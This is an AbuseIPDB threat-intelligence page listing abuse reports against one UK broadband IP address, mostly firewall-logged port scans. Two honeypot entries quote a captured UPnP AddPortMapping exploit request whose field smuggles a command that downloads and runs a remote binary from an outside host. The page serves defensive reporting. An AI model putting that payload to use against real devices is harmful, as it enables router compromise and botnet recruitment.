JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 109.147.78.131

109.147.78.131 was found in our database!

This IP was reported 68 times. Confidence of Abuse is 100%: ?

100%

ISP	BT-Central-Plus
Usage Type	Fixed Line ISP
ASN	AS2856
Hostname(s)	host109-147-78-131.range109-147.btcentralplus.com
Domain Name	bt.com
Country	🇬🇧 United Kingdom of Great Britain and Northern Ireland
City	Codsall, England

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 109.147.78.131

Whois 109.147.78.131

IP Abuse Reports for 109.147.78.131:

This IP address has been reported a total of 68 times from 30 distinct sources. 109.147.78.131 was first reported on August 10th 2026, and the most recent report was 5 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇹🇭 Sawasdee	2026-08-28 03:42:11 (5 hours ago)	Port Scan ...	Port Scan
🇺🇸 MPL	2026-08-28 00:31:30 (8 hours ago)	tcp/37215	Port Scan
🇺🇸 MPL	2026-08-27 18:15:42 (15 hours ago)	tcp/52869 (2 or more attempts)	Port Scan
🇳🇵 radheykrishna.com.np	2026-08-27 14:12:07 (19 hours ago)	Aug 27 19:57:06 kernel: [1556084.920241] [UFW BLOCK] IN=ens160 OUT= SRC=109.147.78.131 LEN=44 TOS=0x ... show more Aug 27 19:57:06 kernel: [1556084.920241] [UFW BLOCK] IN=ens160 OUT= SRC=109.147.78.131 LEN=44 TOS=0x00 PREC=0x00 TTL=51 ID=58043 PROTO=TCP SPT=53378 DPT=52869 WINDOW=19156 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇧🇷 diego	2026-08-27 12:01:13 (21 hours ago)	[rede-top188] 08/27/2026-09:01:13.088663, 109.147.78.131, Protocol: 6, ET CINS Active Threat Intelli ... show more [rede-top188] 08/27/2026-09:01:13.088663, 109.147.78.131, Protocol: 6, ET CINS Active Threat Intelligence Poor Reputation IP group 140 show less	Hacking
🇺🇸 Cyber Crusader	2026-08-26 21:41:33 (1 day ago)	Hundreds of Attempts (at least) to Connect to and Access Firewall Ports	Port Scan Hacking Brute-Force
🇳🇱 Maurice	2026-08-26 21:32:08 (1 day ago)	Honeypot hit: HTTP/1.1 request on 52869 POST /picsdesc.xml Accept: / POST Data: <?xml version="1. ... show more Honeypot hit: HTTP/1.1 request on 52869 POST /picsdesc.xml Accept: / POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://95.155.151.113/realtek -O z; chmod 777 z; sh z`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [2] TCP Reported by: https://github.com/sefinek/T-Pot-To-AbuseIPDB show less	Hacking Bad Web Bot
🇺🇸 xmission.com	2026-08-26 19:17:06 (1 day ago)	Blocked by UFW (TCP on 37215) Source port: 60546 TTL: 48 Packet length: 44 TOS: 0x00 This report (f ... show more Blocked by UFW (TCP on 37215) Source port: 60546 TTL: 48 Packet length: 44 TOS: 0x00 This report (for 109.147.78.131) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇺🇸 MPL	2026-08-26 17:18:06 (1 day ago)	tcp/52869	Port Scan
Anonymous	2026-08-26 05:27:51 (2 days ago)	[TCP/52869] Unsolicited connection attempt on a port with no legitimate public service.	Port Scan Hacking
🇺🇸 MPL	2026-08-25 23:15:16 (2 days ago)	tcp/37215	Port Scan
🇺🇸 MPL	2026-08-25 13:46:32 (2 days ago)	tcp/52869	Port Scan
🇺🇸 MPL	2026-08-24 16:06:19 (3 days ago)	tcp/52869 (2 or more attempts)	Port Scan
🇧🇾 sashan	2026-08-24 14:17:22 (3 days ago)	2026-08-24T17:17:21.650742+03:00 gate kernel: nftables: JAIL-MSS IN=wan OUT= MAC= SRC=109.147.78.131 ... show more 2026-08-24T17:17:21.650742+03:00 gate kernel: nftables: JAIL-MSS IN=wan OUT= MAC= SRC=109.147.78.131 DST=xxx.xxx.xxx.xxx LEN=44 TOS=0x00 PREC=0x00 TTL=52 ID=38534 PROTO=TCP SPT=60546 DPT=37215 WINDOW=43573 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇩🇪 dispaisyenterprises	2026-08-24 04:58:05 (4 days ago)	Honeypot [fra-de-honeypot]: HTTP/1.1 request on 52869 POST /picsdesc.xml Accept: / POST Data: <?x ... show more Honeypot [fra-de-honeypot]: HTTP/1.1 request on 52869 POST /picsdesc.xml Accept: / POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://95.155.151.113/realtek -O z; chmod 777 z; sh z`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [2] TCP Reported by DisPaisy Enterprises (dispaisy.systems) using: https://github.com/sefinek/T-Pot-To-AbuseIPDB show less	Hacking Bad Web Bot

Showing 1 to 15 of 68 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇹🇼 198.235.24.90

🇺🇸 172.202.118.31

🇹🇭 165.154.51.193

🇳🇱 91.92.47.6

🇺🇸 85.239.151.10

🇷🇴 80.94.92.179

🇧🇪 198.235.24.174

🇷🇺 193.233.48.169

🇩🇪 167.94.145.27

🇺🇸 162.216.150.252

🇱🇹 141.98.10.205

🇫🇷 141.94.94.121

🇷🇴 92.118.39.224

🇺🇸 91.230.168.122

🇷🇴 80.94.92.156

🇧🇬 78.128.113.46

🇳🇱 45.148.10.141

🇺🇸 40.124.112.239

🇺🇸 40.119.37.54

🇺🇸 34.231.181.240